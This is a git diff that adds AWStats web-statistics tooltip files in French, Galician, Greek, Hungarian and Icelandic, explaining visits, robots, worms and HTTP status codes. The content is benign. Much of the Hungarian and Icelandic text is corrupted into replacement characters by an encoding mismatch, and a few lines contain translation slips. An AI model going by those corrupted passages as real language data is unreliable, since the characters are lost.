infectés par un virus, +réalisant des hits particuliers sur votre serveur afin de l'infecter à son tour. Dans la plupart des cas, de telles +attacks exploitent des bugs des serveurs commerciaux et non à jour. +Si votre system n'est pas celui indiqué comme <b>cible sensible</b> du vers, vous pouvez ignorer de tel hits.<br /> +Il existe très peu de 'vers serveur' mais il sont très actifs à certaines période. +#PROG# reconnait <b>#WormsArray#</b> signatures de vers connus (nimda,code red,...). +</div> + +<div class="CTooltip" id="tt201">Contenu partiel renvoyé.</div> +<div class="CTooltip" id="tt202">La requête a été enregistrée par le serveur mais sera exécutée plus tard.</div> +<div class="CTooltip" id="tt204">Le serveur a traité la demande mais il n'existe aucun document à renvoyer.</div> +<div class="CTooltip" id="tt206">Contenu partiel renvoyé.</div> +<div class="CTooltip" id="tt301">Le document réclamé a été déplacé et se trouve maintenant à une autre adresse mentionnée dans la réponse.</div> +<div class="CTooltip" id="tt302">Aucun descriptif pour cette erreur.</div> +<div class="CTooltip" id="tt400">Erreur de syntaxe, le serveur n'a pas compris la requête.</div> +<div class="CTooltip" id="tt401">Tentatives d'accès à une <b>URL nécessitant identification avec un login/mot de passe invalide</b>.<br />Un nombre trop élévé peut mettre en évidence une tentative de crackage brute du site (par accès répété de différents logins/mots de passe).</div> +<div class="CTooltip" id="tt403">Tentatives d'accès à une <b>URL non configurée pour etre accessible, même avec une identification</b> (par exemple, une URL d'un répertoire non défini comme étant "listable").</div> +<div class="CTooltip" id="tt404">Tentatives d'accès à une <b>URL inexistante</b>. Il s'agit donc d'un lien invalide sur le site ou d'une faute de frappe d'un visiteur qui a saisie une mauvaise URL directement.</div> +<div class="CTooltip" id="tt408">Le serveur mis un <b>temps trop important</b> pour répondre à la requête. Il peut s'agir d'un script CGI trop lent sur le serveur forcé d'abandonner le traitement ou d'une saturation du site.</div> +<div class="CTooltip" id="tt500">Erreur interne au serveur. Cette erreur est le plus souvant renvoyé lors de l'arrêt anormal d'un script CGI (par exemple suite à un coredump du CGI).</div> +<div class="CTooltip" id="tt501">Le serveur ne prend pas en charge l'action demandée.</div> +<div class="CTooltip" id="tt502">Code renvoyé par un serveur HTTP qui fonctionne comme proxy ou gateway lorsque le serveur réel consulté ne réagit pas avec succès à la demande du client.</div> +<div class="CTooltip" id="tt503">Erreur interne au serveur.</div> +<div class="CTooltip" id="tt504">Gateway Time-out.</div> +<div class="CTooltip" id="tt505">Version HTTP non supporté.</div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-gl.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-gl.txt new file mode 100644 index 0000000..2d7c1da --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-gl.txt @@ -0,0 +1,74 @@ +<!-- Galician tooltips message file by Ignacio Agull� (agullo@ati.es) --> +<!-- $Revision: 1.3 $ - $Date: 2008/10/05 11:13:13 $ --> +<div class="CTooltip" id="tt1"> +Unha nova visita defínese por cada novo <b>visitante entrante</b> (accedendo a unha páxina) que non estivera conectado ó sitio durante os últimos <b>#VisitTimeOut# mins.</b>. +</div> +<div class="CTooltip" id="tt2"> +Número de máquinas cliente (<b>enderezos IP</b>) que viñeron a visitar o sitio (e que miraron polo menos unha <b>páxina</b>).<br /> +Este dato refire o número de <b>diferentes persoas físicas</b> que accederan o sitio. +</div> +<div class="CTooltip" id="tt3"> +Número de veces que unha <b>páxina</b> deste sitio é <b>vista</b> (Suma de tódolos visitantes para tódalas visitas).<br /> +Esta dato difire de "accesos" en que somente conta páxinas HTML e non imaxes e outros ficheiros. +</div> +<div class="CTooltip" id="tt4"> +Número de veces que unha <b>páxina, imaxe ou ficheiro</b> do sitio e <b>vista</b> ou <b>descargada</b> por alguén.<br /> +Este dato provese como referencia somente, dado que o número de "páxinas" vistas +é a miudo preferido para propósitos de mercadotecnia. +</div> +<div class="CTooltip" id="tt5"> +Este dato refírese á cantidade de datos descargados de tódalas <b>páxinas</b>, <b>imaxes</b> e <b>ficheiros</b> no sitio.<br /> +As unidades están en KB, MB ou GB (Kilooctetos, Megaoctetos ou Gigaoctetos) +</div> +<div class="CTooltip" id="tt13"> +#PROG# recoñece cada acceso ó sitio feito despois dunha <b>procura</b> dende os <b>#SearchEnginesArray# Procuradores e Directorios mais populares da Interrede</b> (como Yahoo, Altavista, Lycos, Google, Voila, etc...). +</div> +<div class="CTooltip" id="tt14"> +Lista de tódalas <b>páxinas externas</b> que foron usadas para enlazar (e entrar) ó sitio (Somente as <b>#MaxNbOfRefererShown#</b> páxinas externas máis frecuentemente usadas son amosadas). +Os enlaces usados polos resultados dos procuradores son excluídos aquí porque xa foron incluídos na liña anterior desta táboa. +</div> +<div class="CTooltip" id="tt15"> +Esta táboa amosa a lista de mais frecuentes <b>palabras ou frases clave</b> usadas para atopa-lo sitio dende Procuradores e Directorios da Interrede. (Palabras clave dos <b>#SearchEnginesArray#</b> Procuradores e Directorios mais populares son recoñecidas por #PROG#, como Yahoo, Altavista, Lycos, Google, Voila, etc...).<br /> +Decátese de que o número total de procuras por palabras clave pode ser maior co número total de procuras por frases clave (número real de procuras) porque cando dúas palabras clave sexan usadas na mesma procura, a procura e contada dúas veces por palabras clave (unha vez por cada palabra). +</div> +<div class="CTooltip" id="tt16"> +Os Robots (ás veces refírese a Arañas) son <b> ordenadores automáticos visitantes</b> usados por moitos procuradores que exploran o sitio <i>web</i> para indicalo e clasificalo, recoller estatísticas sobre sitios <i>web</i> da Interrede e/ou mirar se o sitio de vostede está aínda en liña. <br /> +#PROG# é capaz de recoñecer ata <b>#RobotArray#</b> robots. +</div> +<div class="CTooltip" id="tt17"> +Tódalas estadísticas feitas en relación ó tempo están baseadas na hora do servidor. +</div> +<div class="CTooltip" id="tt18"> +Aquí, os datos expostos son <b>valores medios</b> (calculados a partir de tódolos datos entre a primeira e última visita no rango analizado) +</div> +<div class="CTooltip" id="tt19"> +Aquí, os datos expostos son <b>sumas acumulativas</b> (calculados a partir de tódolos datos entre a primeira e última visita en un rango analizado) +</div> +<div class="CTooltip" id="tt20"> +Algunhas <b>Duracións de visitas</b> son 'descoñecidas' porque non sempre poden ser calculadas. As principais razóns disto son:<br /> +- A visita non rematara cando a 'actualización' ocurríu.<br /> +- A visita escomenzóu na derradeira hora (despois das 23:00) do derradeiro día dun mes (Unha razón técnica evita que #PROG# calcule a duración de tales sesións) +</div> +<div class="CTooltip" id="tt21"> +Os Gusanos son <b>ordenadores automáticos visitantes</b> que son de feito servidores externos, infectados por un virus, que intentan realizar accesos particulares no servidor para infectalo. Na maioría dos casos, ditos gusanos explotan algúns erros de servidores sen actualizar ou comerciais. Se o sistema non é o <b>obxectivo sensible</b> do gusano, pódese sinxelamente ignorar estes accesos. <br /> +Hai moi poucos 'gusanos de servidor' no mundo pero están moi activos ás veces. #PROG# é capaz de recoñecer <b>#WormsArray#</b> sinaturas de gusanos coñecidos (nimda, code red, ...). +</div> +<div class="CTooltip" id="tt201">Error sen descripción.</div> +<div class="CTooltip" id="tt202">A petición foi comprendida polo servidor pero se procesará máis tarde.</div> +<div class="CTooltip" id="tt204">O servidor procesóu a petición pero non hai documento para enviar.</div> +<div class="CTooltip" id="tt206">Contido parcial.</div> +<div class="CTooltip" id="tt301">O documento pedido foi reubicado e está agora noutro enderezo amosado na resposta.</div> +<div class="CTooltip" id="tt302">Error sen descripción.</div> +<div class="CTooltip" id="tt400">Error de sintaxe, o servidor non comprendéu a petición.</div> +<div class="CTooltip" id="tt401">Intentos de acceder un <b>URL onde un par identificador/contrasinal foi requirido</b>.<br />Un número alto neste apartado podería significar que alguén (como un intruso) está intentando romper ou introducirse no sitio (esperando entrar nunha área segura probando diferentes pares identificador/contrasinal, por exemplo).</div> +<div class="CTooltip" id="tt403">Intentos de acceder a un <b>URL non configurado para ser accesible, nin siquera con un par identificador/contrasinal</b> (por exemplo, un URL nun directorio non definido como "navegable").</div> +<div class="CTooltip" id="tt404">Intentos de acceder un <b>URL non existente</b>. Este erro a miúdo significa que hai un enlace inválido nalgures no sitio ou que un visitante escribíu mal un certo URL</div> +<div class="CTooltip" id="tt408">O servidor tardóu <b>demasiado tempo</b> para responder unha petición. Este erro frecuentemente implica ben un lento guión (<i>script</i>) CGI que o servidor foi requirido para matar ou ben un servidor <i>web</i> extremadamente conxestionado. </div> +<div class="CTooltip" id="tt500">Erro interno. Este erro é a miúdo causado por un programa CGI que finalizóu anormalmente (volcado de núcleo, por exemplo).</div> +<div class="CTooltip" id="tt501">Acción requirida descoñecida</div> +<div class="CTooltip" id="tt502">Código retornado por un servidor HTTP que funciona como atallo ou pasarela cando un servidor real destinatario non responde axeitadamente á petición do cliente</div> +<div class="CTooltip" id="tt503">Erro interno do servidor.</div> +<div class="CTooltip" id="tt504">A pasarela non responde.</div> +<div class="CTooltip" id="tt505">Versión de HTTP non soportada.</div> + + diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-gr.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-gr.txt new file mode 100644 index 0000000..552bf9f --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-gr.txt @@ -0,0 +1,74 @@ + + +<div class="CTooltip" id="tt1"> +Ως νέα επίσκεψη ορίζεται η προβολή μιας σελίδας από έναν <b>εισερχόμενος επισκέπτης</b> ο οποιός δεν είχε συνδεθεί στο site κατά τα τελευταία <b>#VisitTimeOut# λεπτά</b>. +</div> +<div class="CTooltip" id="tt2"> +Αριθμός τον πελατών (<b>IP διευθύνσεις</b>) που επισκέφθηκαν το site (και που πρόβαλλαν τουλάχιστον μια <b>σελίδα</b>).<br /> +Τα δεδομένα αυτά αναφέρονται στον αριθμό των <b>διαφορετικών φυσικών προσώπων</b> που είχαν πρόσβαση στο site. +</div> +<div class="CTooltip" id="tt3"> +Αριθμός <b>προβολών</b> μιας <b>σελίδας</b> του site (Σύνολο για όλους τους επισκέπτες και για όλες τις επισκέψεις).<br /> +Αυτό το κομμάτι των δεδομένων διαφέρει από τα "χτυπήματα" στο ότι μετράει μόνο τις HTML σελίδες σε αντίθεση με εικόνες και άλλα αρχεία. +</div> +<div class="CTooltip" id="tt4"> +Αριθμός <b>προβολών</b> ή <b>λήψεων</b> μιας <b>σελίδας, εικόνας ή αρχείου</b> του site από κάποιον επισκέπτη.<br /> +Αυτό το κομμάτι των δεδομένων δίνεται ως αναφορά μόνο, αφού ο αριθμός των "σελίδων" που προβάλλονται είναι συνήθως προτιμότερος για λόγους marketing. +</div> +<div class="CTooltip" id="tt5"> +Αυτό το κομμάτι των δεδομένων αναφέρεται στην ποσότητα των δεδομένων που λαμβάνονται από όλες τις <b>σελίδες</b>, <b>εικόνες</b> και <b>αρχεία</b> μέσα στο site.<br /> +Οι μονάδες είναι σε KB, MB ή GB (KiloBytes, MegaBytes ή GigaBytes) +</div> +<div class="CTooltip" id="tt13"> +#PROG# αναγνωρίζει κάθε πρόσβαση στο site μετά από μια <b>αναζήτηση</b> από τις <b>#SearchEnginesArray# πιο δημοφιλείς Μηχανές Αναζήτησης και Καταλόγους στο Internet</b> (όπως Yahoo, Altavista, Lycos, Google, Voila, κτλ...). +</div> +<div class="CTooltip" id="tt14"> +Λίστα από όλους τους <b>εξωτερικούς συνδέσμους</b> που χρησιμοποιήθηκαν για να συνδέθούν (και να εισαχθούν) στο site (Μόνο οι <b>#MaxNbOfRefererShown#</b> πιο συχνά χρησιμοποιημένες εξωτερικές σελίδες εμφανίζονται). +Οι συνδέσμοι που χρησιμοποιούνται από τα αποτελέσματα των μηχανών αναζήτησης δεν συμπεριλαμβάνονται εδώ αφού έχουν ήδη συμπεριληφθεί στην προηγούμενη γραμμή στον πίνακα αυτό. +</div> +<div class="CTooltip" id="tt15"> +Αυτός ο πίνακας εμφανίζει την λίστα από τις πιο συχνά χρησιμοποιούμενες <b>εκφράσεις και λέξεις-κλειδιά</b> για τον εντοπισμό του site από τις Μηχανές Αναζήτησης και τους Καταλόγους στο Internet. +(Λέξεις-κλειδιά από <b>#SearchEnginesArray#</b> πιο δημοφιλείς Μηχανές Αναζήτησης και Καταλόγους στο Internet αναγνωρίζονται από #PROG#, όπως Yahoo, Altavista, Lycos, Google, Voila, κτλ...).<br /> +Σημειώνεται ότι ο συνολικός αριθμός αναζητήσεων για λέξεις-κλειδιά πιθανόν να είναι μεγαλύτερος από τον συνολικό αριθμό αναζητήσεων για εκφράσεις (πραγματικό αριθμό αναζητήσεων) γιατί όταν 2 λέξεις-κλειδιά χρησιμοποιούνται στην ίδια αναζήτηση, η αναζήτηση μετράει δύο φορές (μία για κάθε λέξη). +</div> +<div class="CTooltip" id="tt16"> +Τα Robot (κάποιες φορές αναφέρονται ως Αράχνες (Spiders)) είναι <b>αυτόματοι επισκέπτες</b> που χρησιμοποιούνται από πολλές μηχανές αναζήτησης που σαρώνουν το site σας για να το προσθέσουν στην βάση τους και να βαθμολογήσουν την θέση του, ή που συλλέγουν στατιστικά ή ελέγχουν εάν το site σας είναι ακόμα ενεργό.<br /> +#PROG# είναι ικανό να αναγνωρίσει έως <b>#RobotArray#</b> robots. +</div> +<div class="CTooltip" id="tt17"> +Όλα τα στατιστικά που συσχετίζονται με χρόνο είναι βάση της ώρας του διακομιστή. +</div> +<div class="CTooltip" id="tt18"> +Εδώ, τα δεδομένα που αναφέρονται είναι: <b>μέσος όρος τιμών</b> (έχουν υπολογιστεί από όλα τα δεδομένα μεταξύ του πρώτου και του τελευταίου e-mail στο εύρος της ανάλυσης) +</div> +<div class="CTooltip" id="tt19"> +Εδώ, τα δεδομένα που αναφέρονται είναι: <b>συγκεντρωτικά σύνολα</b> (έχουν υπολογιστεί από όλα τα δεδομένα μεταξύ του πρώτου και του τελευταίου e-mail στο εύρος της ανάλυσης) +</div> +<div class="CTooltip" id="tt20"> +Κάποιες <b>διάρκειες Επισκέψεων</b> είναι 'άγνωστες' αφού δεν μπορούν πάντα να υπολογιστούν. Αυτός είναι ο βασικός λόγος για αυτό:<br /> +- Η επίσκεψη δεν ολοκληρώθηκε όταν συνέβει ή 'ανανέωση'.<br /> +- Η επίσκεψη ξεκίνησε την τελευταία ώρα (μετά τις 23:00) της τελευταίας μέρας ενός μήνα (Ένα τεχνικό ζήτημα αποτρέπει το #PROG# από τον υπολογισμό διάρκειας τέτοιων συνεδριών) +</div> +<div class="CTooltip" id="tt21"> +Τα Σκουλήκια (Worms) είναι <b>αυτόματοι επισκέπτες</b> που στην πραγματικότητα προήλθαν από εξωτερικούς διακομιστές, που προσβλήθηκαν από ιό, που προσπαθεί να κάνει συγκεκριμένα χτυπήματα-επισκέψεις στον διακομιστή σας ώστε να τον προσβάλλει με τον ιό. Στις περισσότερες των περιπτώσεων, τέτοια σκουλήκια εκμεταλλεύονται bugs από εμπορικούς διακομιστές που δεν έχουν ενημερωθεί με τις τελευταίες αναβαθμίσεις. Εάν το σύστημά σας δεν είναι ο <b>ευαίσθητος στόχος</b> του σκουληκιού, μπορείτε απλά να αγνοήσετε τέτοιες επισκέψεις.<br /> +Εμφανίζονται ελαχιστα 'σκουλήκια διακομιστών' στον κόσμο αλλά είναι πολύ ενεργά κατά διαστήματα. +#PROG# είναι ικανό να αναγνωρίσει <b>#WormsArray#</b> γνωστές υπογραφές σκουληκιών (nimda,code red,...). +</div> + +<div class="CTooltip" id="tt201">Καμία περιγραφή για αυτό το σφάλμα.</div> +<div class="CTooltip" id="tt202">Η αίτηση αναγνωρίστηκε από τον διακομιστή αλλά θα επεξεργαστεί αργότερα.</div> +<div class="CTooltip" id="tt204">Ο διακομιστής επεξεργάστηκε την αίτηση αλλά δεν υπάρχει κανένα έγγραφο προς αποστολή.</div> +<div class="CTooltip" id="tt206">Μερικό περιεχόμενο.</div> +<div class="CTooltip" id="tt301">Το έγγραφο για το οποίο έγινε η αίτηση μετακινήθηκε και βρίσκεται τώρα σε μια άλλη διεύθυνση που αναφέρεται στην απάντηση.</div> +<div class="CTooltip" id="tt302">Καμία περιγραφή για αυτό το σφάλμα.</div> +<div class="CTooltip" id="tt400">Συντακτικό σφάλμα, ο διακομιστής δεν κατανόησε το αίτημα.</div> +<div class="CTooltip" id="tt401">Προσπάθεια πρόσβασης σε ένα <b>URL όπου χρειάζεται όνομα χρήστη και κωδικός</b>.<br />Μια υψηλή τιμή στο στοιχείο αυτό θα μπορούσε να σημαίνει ότι κάποιος (όπως ένας hacker) προσπαθεί να σπάσει, ή να εισέλθει στο site σας (προσπαθώντας να εισέλθει σε μια ασφαλή περιοχή δοκιμάζοντας για παράδειγμα διαφορετικά ονόματα χρήστη/κωδικούς).</div> +<div class="CTooltip" id="tt403">Προσπάθεια πρόσβασης ενός <b>URL που δεν έχει ρυθμιστεί να είναι προσβάσιμο, ακόμα και με ένα όνομα χρήστη/κωδικό</b> (για παράδειγμα, ένα URL μεσα σε ένα φάκελο που δεν έχει οριστεί ως "πλοηγήσιμος".).</div> +<div class="CTooltip" id="tt404">Προσπάθεια πρόσβασης σε ένα <b>URL που δεν υπάρχει</b>. Αυτό το σφάλμα συνήθως σημαίνει ότι υπάρχει κάποιος άκυρος σύνδεσμος κάπου στο site σας ή ότι κάποιος επισκέπτης πληκτρολόγησε λανθασμένα κάποιο URL.</div> +<div class="CTooltip" id="tt408">Ο διακομιστής έκανα <b>υπερβολικά μεγάλο χρονικό διάστημα</b> να αποκριθεί σε μία αίτηση. Αυτό το σφάλμα συνήθως εμπεριέχει είτε κάποιο αργό CGI script που ο διακομιστής χρειάστηκε να τερματίσει είτε υπερβολικά πολύ κίνηση στον διακομιστή.</div> +<div class="CTooltip" id="tt500">Εσωτερικό σφάλμα. Αυτό το σφάλμα συνήθως προκαλείται από ένα πρόγραμμα CGI που τερματίστηκε ανώμαλα (coredump για παράδειγμα).</div> +<div class="CTooltip" id="tt501">Άγνωστο αίτημα ενέργειας.</div> +<div class="CTooltip" id="tt502">Κώδικας που επιστρέφεται από έναν HTTP διακομιστή που λειτουργεί ως μεσολαβητής ή δρομολογητής όταν ένας πραγματικός, διακομιστής προορισμού δεν αποκρίνεται με επιτυχία στο αίτημα του πελάτη.</div> +<div class="CTooltip" id="tt503">Εσωτερικό σφάλμα διακομιστή.</div> +<div class="CTooltip" id="tt504">Τέλος χρόνου διακομιστή πύλης.</div> +<div class="CTooltip" id="tt505">Η HTTP έκδοση δεν υποστηρίζεται.</div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-hu.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-hu.txt new file mode 100644 index 0000000..863fad2 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-hu.txt @@ -0,0 +1,71 @@ +<!-- Hungarian tooltip file (gabor.funk@hunetkft.hu) --> +<!-- $Revision: 1.2 $ - $Date: 2004/12/10 23:39:34 $ --> +<div class="CTooltip" id="tt1"> +�j l�togat�snak sz�m�t minden olyan �j <b>be�rkezett l�togat�</b> aki megtekint egy oldalt �s a legutols� l�togat�sa �ta eltelt legal�bb <b>#VisitTimeOut# perc</b>. +</div> +<div class="CTooltip" id="tt2"> +Azon egyedi sz�m�t�g�pek sz�ma (<b>IP c�mek</b>) akik az oldalon j�rtak (�s legal�bb egy <b>oldalt</b> megn�ztek).<br> +Ez az adat a <b>fizikailag k�l�nb�z� g�pekre</b> vonatkozik ahonnan az oldalt l�togatt�k b�rmelyik nap. +</div> +<div class="CTooltip" id="tt3"> +Az <b>oldal</b> �sszes�tett <b>tal�latai</b> (�sszes l�togat� �sszes l�togat�sa).<br> +Ez annyiban k�l�nb�zik a "tal�latok"-t�l, hogy csak a HTML oldalak tal�latait �sszes�ti, a k�peket �s egy�b f�jlokat nem. +</div> +<div class="CTooltip" id="tt4"> +<b>Oldalak, k�pek, f�jlok</b> �sszes�tett <b>tal�latai</b> �s <b>let�lt�sei</b>.<br> +Ez az �sszes�t�s csak referencia c�lokat szolg�l, hiszen marketing szempontb�l az "oldalak tal�latai" adat az �rdekesebb. +</div> +<div class="CTooltip" id="tt5"> +Ez az adat az �sszes let�lt�tt adatmennyis�get jelzi bele�rtve az �sszes <b>oldalt</b>, <b>k�pet</b> �s <b>f�jlt</b> +kilob�jt, megab�jt illetve gigab�jt-ban (Kb, Mb, Gb). +</div> +<div class="CTooltip" id="tt13"> +Az #PROG# felismeri, ha az oldalakat a <b>#SearchEnginesArray# legismertebb keres�programok egyik�n kereszt�l �rt�k el</b> (p�ld�ul Yahoo, Altavista, Lycos, Google, Voila, stb...). +</div> +<div class="CTooltip" id="tt14"> +Az olyan <b>k�ls� oldalak</b> list�ja, amely erre a honlapra mutat, vagy rajtuk kereszt�l �rkezett a k�r�s (Csak a leggyakoribb <b>#MaxNbOfRefererShown#</b> k�ls� oldal). +A keres�k�n kereszt�l �rkezett tal�latok itt nincsenek list�zva, azok az el�z� r�szben tal�lhat�ak. +</div> +<div class="CTooltip" id="tt15"> +Ebben a t�bl�zatban tal�lhat�ak a keres�programokban leggyakrabban haszn�lt <b>kulcsszavak �s kifejez�sek</b> amelyeken kereszt�l ezen honlapot megtal�lt�k. +(Az #PROG# a <b>#SearchEnginesArray#</b> leggyakoribb keres�motort ismeri. P�ld�ul Yahoo, Altavista, Lycos, Google, Voila, stb...).<br> +Az �sszes keresett kulcssz� sz�ma nagyobb mint a keresett kifejez�sek� (azaz az igazi keres�sek sz�m��) mert +2 keresett kulcssz� eset�n a keres�s k�tszer sz�m�t (egyszer-egyszer mindk�t sz�ra). +</div> +<div class="CTooltip" id="tt16"> +A robot-ok (spider-nek vagy webcrawler-nek is mondj�k) <b>automatikus sz�m�t�g�p l�togat�k</b> melyet sz�mos keres�program haszn�l arra hogy az oldalt �tn�zze, index-elje �s kategoriz�lja, statisztik�t gy�jts�n a weboldalakr�l �s/vagy megn�zze, hogy a honlap m�g mindig el�rhet�-e.<br> +Az #PROG# <b>#RobotArray#</b> k�l�nb�z� robotot ismer fel. +</div> +<div class="CTooltip" id="tt17"> +Minden itt felt�ntetett id�nek a szerverid� szolg�lt alapul. +</div> +<div class="CTooltip" id="tt18"> +Az itteni adat <b>�tlagos �rt�k</b> (az els� �s az utols� l�togat�s k�z�tti id�szakra) +</div> +<div class="CTooltip" id="tt19"> +Az itteni adat <b>�sszegzett adat</b> (az els� �s az utols� l�togat�s k�z�tti id�szakra) +</div> +<div class="CTooltip" id="tt20"> +N�ha a <b>l�togat�si id�szak</b> "ismeretlen"-nek l�tszik, mert nem mindig kisz� +m�that�. Ennek f� okai:<br> +- A l�togat�s nem fejez�d�tt be a friss�t�skor.<br> +- A l�togat�s a h�nap utols� napj�nak utols� �r�j�ban kezd�d�tt (23:00 ut�n). +</div> + +<div class="CTooltip" id="tt201"> Nincs hibale�r�s. </div> +<div class="CTooltip" id="tt202"> A k�r�st felismerte a szerver, de csak a k�s�bbiekben feldolgozva v�gre. </div> +<div class="CTooltip" id="tt204"> A szerver feldolgozta a k�r�st, de az nem eredm�nyezett kimeneti dokumentumot. </div> +<div class="CTooltip" id="tt206"> R�sztartalom. </div> +<div class="CTooltip" id="tt301"> A k�rt dokumentum helye megv�ltozott, �j c�m a v�laszban. </div> +<div class="CTooltip" id="tt302"> Nincs hibale�r�s. </div> +<div class="CTooltip" id="tt400"> Szintaktikai hiba, a szerver nem �rtette a k�r�st. </div> +<div class="CTooltip" id="tt401"> <b>Jelsz�v�dett tartalom sikertelen el�r�se</b>.<br>Nagysz�m� ilyen hiba jelentheti azt, hogy valaki (egy hacker) megpr�b�l el�rni egy jelsz�v�dett oldalt felhaszn�l�i nevek �s jelszavak folyamatos pr�b�lgat�s�val.</div> +<div class="CTooltip" id="tt403"> <b>Nem tall�zhat� k�nyvt�r (m�g felhaszn�l� azonos�t� �s jelsz� ismeret�ben sem)</b> (p�ld�ul egy k�nyvt�ron bel�li "tall�z�sra" nem enged�lyezett link). </div> +<div class="CTooltip" id="tt404"> <b>Nem l�tez� oldal (URL)</b>. �rv�nytelen link, mely lehet az oldalon bel�l, m�s k�ls� oldalon, vagy csak a l�togat� v�tett hib�t a be�r�s k�zben. </div> +<div class="CTooltip" id="tt408"> A szerver <b>t�l sok�ig</b> nem v�laszolt. �ltal�ban lass� CGI program vagy nagyon leterhelt szerver eset�n fordul el�. </div> +<div class="CTooltip" id="tt500"> Bels� hiba. �ltal�ban CGI program abnorm�lis fut�sa ut�n keletkezik (pl. coredump). </div> +<div class="CTooltip" id="tt501"> Ismeretlen k�r�st�pus. </div> +<div class="CTooltip" id="tt502"> Proxy szerver hibak�d, melyet a t�voli szerver sikeres v�lasz�nak hi�ny�ban k�ld a k�r�st k�ld� kliensnek. </div> +<div class="CTooltip" id="tt503"> Bels� szerverhiba. </div> +<div class="CTooltip" id="tt504"> Gateway id�t�ll�p�s. </div> +<div class="CTooltip" id="tt505"> Nem t�mogatott verzi�j� HTTP k�r�s. </div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-is.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-is.txt new file mode 100644 index 0000000..e109e3d --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-is.txt @@ -0,0 +1,74 @@ +<!-- Icelandic tooltips message file (jonelias@hi.is, throstur@bylur.net) --> +<!-- $Revision: 1.3 $ - $Date: 2008/10/05 11:13:13 $ --> +<div class="CTooltip" id="tt1"> +N�tt innlit er skilgreint sem hver n�r gestur (sem sko�ar s��u) sem var ekki tengdur vi� vefsv��i �itt s��ustu <b>#VisitTimeOut# m�n�turnar</b> +</div> +<div class="CTooltip" id="tt2"> +Fj�ldi v�la (</b>IP-vistfanga</b>) sem litu inn � vefinn (og s�ttu a� l�gmarki eina <b>s��u</b>.<br /> +G�gnin gefa til kynna fj�lda <b>einstakra gesta</b> sem litu inn � s��una. +</div> +<div class="CTooltip" id="tt3"> +Fj�ldi skipta sem b>s��a</b> � �essu vefsv��i var <b>sko�u�</b> (Samt�lur allra gesta fyrir �ll innlit).<br /> +Munurinn � �essum g�gnum og "skr�r" liggur � �v� a� eing�ngu eru taldar HTML s��ur en ekki myndir e�a annars konar skr�r. +</div> +<div class="CTooltip" id="tt4"> +Fj�ldi skipta sem <b>s��a, mynd e�a skr�</b> � vefsv��inu var <b>sko�u�</b> e�a <b>s�tt</b> af einhverju(m).<br /> +�essi g�gn eru einungis h�f� me� til hli�sj�nar, �ar sem fj�ldi "s��na" sem sko�a�ar voru eru oft talin vera betri marka�sg�gn. +</div> +<div class="CTooltip" id="tt5"> +�essar uppl�singar gefa mynd af �v� gagnamagni sem s�tt var af vefnum, <b>s��um</b>, <b>myndum</b> og <b>skr�m</b>.<br /> +Einingar eru � KB, MB e�a GB (K�l�b�ti, MegaB�ti e�a G�gaB�ti) +</div> +<div class="CTooltip" id="tt13"> +#PROG# greinir hvert innlit � vefinn eftir <b>leit</b> � <b>#SearchEnginesArray# vins�lustu leitarv�lunum</b> (Yahoo, Altavista, Lycos, Google, Voila, o.s.frv.). +</div> +<div class="CTooltip" id="tt14"> +Listi yfir allar <b>tilv�sanir utan �essa vefsv��is</b> sem nota�ar voru til a� v�sa til vefsv��is ��ns (Einungis <b>#MaxNbOfRefererShown#</b> oftast notu�u tilv�sanirnar eru birtar h�r). +Links used by the results of the search engines are excluded here because they have already been included on the previous line within this table. +Tilv�sunum fr� ni�urst��us��um leitarv�la er sleppt h�r �ar sem ��r hafa n� �egar veri� nota�ar � l�nunni h�r fyrir ofan. +</div> +<div class="CTooltip" id="tt15"> +Taflan s�nir �au <b>leitaror� og setningar</b> sem oftast hafa veri� notu� � leitarv�lum til a� finna vefsv��i �itt. +(Leitaror� fr� <b>#SearchEnginesArray#</b> algengustu leitarv�lunum sem #PROG# �ekkir, svo sem Yahoo, Altavista, Lycos, Google, Voila, o.s.frv.).<br /> +Athugi� a� heildarfj�ldi leita me� leitaror�um g�ti veri� h�rri en heildarfj�ldi leita eftir leitarsetningum (r�ttur fj�ldi leita) �v� a� ef notu� eru 2 leitaror� � s�mu leitinni er leitin talin tvisvar sem or�aleit en einu sinni sem setningaleit. +</div> +<div class="CTooltip" id="tt16"> +Leitarormar ("robots" og "spiders") eru <b>'sj�lfvirkir gestir'</b> nota�ir af m�rgum leitarv�lum sem sko�a, skr�setja og flokka innihald vefsins, safna t�lulegum uppl�singum um tilv�sanir og/e�a hvort vefsv��i� s� enn nettengt.<br /> +#PROG# �ekkir allt a� <b>#RobotArray#</b> leitarorma. +</div> +<div class="CTooltip" id="tt17"> +�ll t�matengd t�lfr��i er bygg� � klukku net�j�ns. +</div> +<div class="CTooltip" id="tt18"> +G�gn � �essari sk�rslu eru: <b>me�algildi</b> (reiknu� �t fr� �llum g�gnum milli fyrsta og s��asta innlits � greindu t�mabili) +</div> +<div class="CTooltip" id="tt19"> +G�gn � �essari sk�rslu eru: <b>samt�lur</b> (reiknu� �t fr� �llum g�gnum milli fyrsta og s��asta innlits � greindu t�mabili) +</div> +<div class="CTooltip" id="tt20"> +Ekki er alltaf h�gt a� reikna �t <b>Lengd innlita</b>. Helstu �st��ur �ess eru eftirfarandi:<br /> +- Innliti var ekki loki� �egar t�lfr��in var reiknu� �t.<br /> +- Innlit byrja�i � s��asta klukkut�ma (eftir kl 23:00) s�larhrings s��asta dags m�na�ar (T�knileg �st��a � #PROG# hindrar �treikning sl�kra innlita) +</div> +<div class="CTooltip" id="tt21"> +Ormar eru <b>'sj�lfvirkir gestir'/b> sem eru � raun a�rir 